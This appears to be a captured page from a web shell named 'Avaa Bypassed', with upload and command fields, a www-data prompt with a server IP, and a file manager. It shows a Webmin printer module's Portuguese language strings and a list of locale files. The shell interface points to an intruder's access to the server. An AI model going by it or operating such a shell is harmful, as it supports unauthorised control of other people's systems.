[ Avaa Bypassed ]




Upload:

Command:

www-data@3.139.237.218: ~ $
index_header=Impressoras disponíveis
index_enabled=Ativado?
index_accepting=Aceitando?
index_jlist=Empregos ..
index_jcount=$1 trabalhos ..
index_restart=Reiniciar agendador
index_restartmsg=Clique neste botão para reiniciar o processo do agendador de impressão. Isso forçará a configuração de impressão atual a ser aplicada.
index_esystem=Instale o software para o sistema de impressão escolhido ou use a <a href='$1'>configuração do módulo</a> para alterá-lo.
index_style=Sistema de impressão: $1 
index_cluster=Servidores de cluster
index_clusterdesc=Clique neste botão para configurar servidores Webmin adicionais nos quais as impressoras serão criadas, atualizadas e excluídas.
index_delete=Excluir impressoras selecionadas

style_solaris=Solaris
style_linux=Linux LPR
style_freebsd=FreeBSD LPR
style_hpux=HPUX
style_lprng=LPRng
style_unixware=UnixWare
style_cups=CUPS
style_irix=IRIX
style_aix=AIX

edit_unlimited=Ilimitado
edit_direct=Conexão TCP direta
edit_dport=Porta
edit_check=Verifique se o servidor remoto está ativo?

save_erport=A porta remota '$1' não é válida
save_edhost=O host direto '$1' não existe
save_edport=Porta direta ausente ou inválida
save_evalid=O sistema de impressão não permitiu esta impressora
save_errslave=A impressora criou OK neste sistema, mas ocorreram os seguintes erros nos sistemas de cluster : $1 
save_egone=Nenhuma impressora chamada '$1' foi encontrada
save_errdelslave=A impressora excluiu OK neste sistema, mas ocorreram os seguintes erros nos sistemas de cluster : $1 

jobs_cancelview=Clique em um ID do trabalho na lista acima para cancelar ou clique no tamanho do trabalho para visualizá-lo.
jobs_all=Cancelar todos os trabalhos de impressão
jobs_bytes=bytes
jobs_test=Imprimir página de teste
jobs_cancelsel=Cancelar trabalhos selecionados
jobs_on=Na impressora $1 
jobs_return=lista de trabalhos de impressão

view_ecannot=Você não pode visualizar este trabalho de impressão
view_egone=Este trabalho de impressão não existe mais

restart_ecannot=Você não tem permissão para reiniciar o planejador
restart_err=Falha ao reiniciar o planejador

redhat_printer2=Modelo e driver da impressora

suse_none=Nenhum
suse_nonemsg=Impressora Postscript ou de texto
suse_prog=Programa
suse_driver=Driver APSfilter
suse_printer=Tipo de impressora
suse_res=Resolução em DPI
suse_colour=Impressora a cores?
suse_paper=Tamanho do papel
suse_method=Método de filtro
suse_auto=Automático
suse_ascii=ASCII
suse_raw=Cru
suse_extra=Opções extras de ghostscript
suse_yast2=Driver YAST2
suse_edriver=Nenhum tipo de impressora selecionado
suse_eres=Resolução ausente ou inválida

estop=Falha ao parar lpd : $1 

acl_restart=Reiniciar apenas
acl_listed=Somente em impressoras selecionadas.
acl_pall=Todas as impressoras
acl_psel=Selecionado ..
acl_view=Mostrar impressoras não configuráveis?
acl_test=Pode imprimir páginas de teste?
acl_user=Gerenciar trabalhos de impressão pertencentes a
acl_user_all=Todos os usuários
acl_user_this=Usuário atual do Webmin
acl_delete=Pode excluir impressoras?
acl_cluster=Pode gerenciar o cluster de impressoras?

log_stop=Programador de impressão parado
log_start=Programador de impressão iniciado
log_restart=Programador de impressão reiniciado
log_cancel_job=Trabalho de impressão cancelado $2 em $1 
log_cancel_all=Cancelou todos os trabalhos de impressão em $1 
log_cancel_sel=$2 trabalhos de impressão cancelados em $1 
log_create=Impressora criada $1 em $2 
log_modify=Impressora modificada $1 em $2 
log_delete=Impressora excluída $1 em $2 
log_create_l=Impressora $3 criada $1 em $2 
log_modify_l=$3 impressora $1 modificada em $2 modificada
log_delete_l=$3 impressora $1 excluída em $2 

linux_paralel=Porta paralela $1 
linux_serial=Porta serial $1 (COM $1)
linux_null=Dispositivo nulo
linux_usb=Impressora USB $1 
linux_ecmd=O comando $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão Linux não está instalado.
linux_espool=O diretório de spool $1 não existe no seu sistema, o que indica que o sistema de impressão Linux não está instalado.

freebsd_paralel=Porta Paralela
freebsd_serial=Porta serial $1 (COM $1)
freebsd_ecmd=O comando $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão FreeBSD não está instalado.
freebsd_espool=O diretório de spool $1 não existe no seu sistema, o que indica que o sistema de impressão FreeBSD não está instalado.

openbsd_paralel=Porta Paralela
openbsd_serial=Porta serial $1 (COM $1)

unixware_paralel=Porta paralela $1 
unixware_serial=Porta serial $1 
unixware_null=Dispositivo nulo
unixware_ecmd=O comando $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão UnixWare não está instalado.

hpux_paralel=Paralelo $1 
hpux_serial=$1 serial
hpux_null=Dispositivo nulo
hpux_ecmd=O comando $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão HPUX não está instalado.
hpux_eiface=O diretório de scripts de interface $1 não existe no seu sistema, o que indica que o sistema de impressão HPUX não está instalado.

lprng_paralel=Porta paralela $1 
lprng_serial=Porta serial $1 (COM $1)
lprng_null=Dispositivo nulo
lprng_ecmd=O comando $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão LPRng não está instalado.
lprng_espool=O diretório de spool $1 não existe no seu sistema, o que indica que o sistema de impressão LPRng não está instalado.

solaris_paralel=Porta Paralela
solaris_uparalel=Porta paralela Ultra 5/10
solaris_serial=Porta serial $1 
solaris_null=Dispositivo nulo
solaris_ecmd=O comando $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão Solaris não está instalado.

test_title=Imprimir página de teste
test_ecannot=Você não tem permissão para imprimir páginas de teste
test_desc=Este formulário permite imprimir uma página de teste para a impressora $1. Selecione o tipo de página que você deseja imprimir :
test_0=Página Postscript em preto e branco
test_1=Página Postscript colorida
test_2=Texto ASCII simples
test_3=Qualquer arquivo enviado
test_print=Imprimir página
test_exec=Imprimindo página de teste com o comando $1 ..
test_failed=.. comando falhou!
test_ok=.. comando concluído.

cups_none=Nenhum
cups_nonemsg=Impressora remota ou bruta
cups_prog=Programa
cups_driver=Driver CUPS
cups_eprog='$1' não é um programa válido
cups_opts=Opções para $1 
cups_ecmd=O comando $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão CUPS não está instalado.

irix_ecmd=O comando $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão IRIX não está instalado.
irix_eiface=O diretório de scripts de interface $1 não existe no seu sistema, o que indica que o sistema de impressão IRIX não está instalado.

aix_port=Porta da impressora $1 
aix_edesc=Descrição inválida - somente letras e números são permitidos e não há espaços
aix_ecmd=O servidor de impressora AIX $1 não foi encontrado. Talvez não esteja instalado ou outro sistema de impressão esteja em uso.

cluster_title=Servidores de impressora de cluster
cluster_none=Ainda não foram adicionados servidores ao cluster da impressora.
cluster_host=nome de anfitrião
cluster_desc=Descrição
cluster_os=Sistema operacional
cluster_add=Adicionar servidor
cluster_gadd=Adicionar servidores no grupo
cluster_need=Você deve adicionar servidores com login e senha no módulo Webmin Servers Index antes que possam ser gerenciados aqui.
cluster_return=servidores de cluster
cluster_delete=Remover Selecionado
cluster_ecannot=Você não tem permissão para gerenciar servidores de impressora em cluster

add_title=Adicionar servidores
add_msg=Adicionando $1 ..
add_gmsg=Adicionando servidores no grupo $1 ..
add_err=Falha ao adicionar servidor
add_gerr=Falha ao adicionar grupo
add_echeck=O servidor $1 não possui o módulo de administração da impressora
add_ediff=O servidor $1 está usando um sistema de impressão diferente ($2) para este servidor
add_ediff2=O servidor $1 está usando um driver de impressão diferente ($2) para este servidor
add_ok=Adicionado $1, com $2 impressoras.

Filemanager

Name Type Size Permission Actions
af.auto File 11.91 KB 0644
ar.auto File 15.84 KB 0644
be.auto File 18.56 KB 0644
bg.auto File 19.64 KB 0644
ca File 13.14 KB 0644
cs File 10.53 KB 0644
cs.auto File 2.27 KB 0644
da.auto File 11.93 KB 0644
de File 13 KB 0644
el.auto File 21.64 KB 0644
en File 11.27 KB 0644
es File 8.88 KB 0644
es.auto File 4.35 KB 0644
eu.auto File 12.94 KB 0644
fa.auto File 16.31 KB 0644
fi.auto File 12.45 KB 0644
fr File 13.47 KB 0644
he.auto File 14.71 KB 0644
hr.auto File 12.1 KB 0644
hu File 6.96 KB 0644
hu.auto File 5.98 KB 0644
it File 4.92 KB 0644
it.auto File 7.52 KB 0644
ja File 10.45 KB 0644
ja.auto File 5.82 KB 0644
ko File 9 KB 0644
ko.auto File 4.82 KB 0644
lt.auto File 13.25 KB 0644
lv.auto File 12.23 KB 0644
ms.auto File 12.04 KB 0644
mt.auto File 12.76 KB 0644
nl File 12.5 KB 0644
no File 11.81 KB 0644
pl File 12.67 KB 0644
pt File 5.37 KB 0644
pt.auto File 8.02 KB 0644
pt_BR File 13.2 KB 0644
ro.auto File 13.25 KB 0644
ru File 13.23 KB 0644
ru.auto File 6.15 KB 0644
sk.auto File 12.96 KB 0644
sl.auto File 12.11 KB 0644
sv File 7.81 KB 0644
sv.auto File 4.36 KB 0644
th.auto File 23.62 KB 0644
tr File 10.78 KB 0644
tr.auto File 1.67 KB 0644
uk File 12.97 KB 0644
uk.auto File 5.89 KB 0644
ur.auto File 17.44 KB 0644
vi.auto File 14.29 KB 0644
zh File 6.23 KB 0644
zh.auto File 4.66 KB 0644
zh_TW File 4.88 KB 0644
zh_TW.auto File 6.18 KB 0644